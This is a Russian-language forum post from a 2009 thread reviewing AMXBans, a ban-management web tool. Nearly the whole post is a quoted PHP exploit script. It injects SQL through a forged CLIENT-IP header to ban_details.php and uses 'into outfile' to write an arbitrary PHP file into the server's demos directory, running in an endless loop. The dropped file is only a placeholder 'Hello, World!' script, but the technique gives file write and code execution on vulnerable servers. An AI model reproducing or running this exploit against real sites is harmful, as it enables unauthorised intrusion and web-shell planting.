Тема: Обзор AMXBans
Показать сообщение отдельно

  #4  
Старый 17.12.2009, 16:59
kodzero
Banned
Регистрация: 11.05.2009
Сообщений: 128
Провел на форуме:
718288

Репутация: 72
Отправить сообщение для kodzero с помощью ICQ
По умолчанию

Цитата:
<?php
name:
set_time_limit(0);
$url = 'http://xxxxxxx/amxbans/';
$text = '<?php echo "Hello, World!" ;?>';
$path = '/home/xxxxxxx/forum/amxbans/';
$name=md5(time());
$name=substr($name,5);
$file = trim("demos/".$name.".php");

$postdata = http_build_query(
array(
'action' => 'insert',
'verify' => ""
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => "Content-type: application/x-www-form-urlencoded\r\n"
."CLIENT-IP: 0' union select '".addslashes($text)."' into outfile '".$path.$file."'#",
'content' => $postdata
)
);
$context = stream_context_create($opts);
@file_get_contents($url.'ban_details.php?bhid=-1', false, $context);
goto name;
?>
 
Ответить с цитированием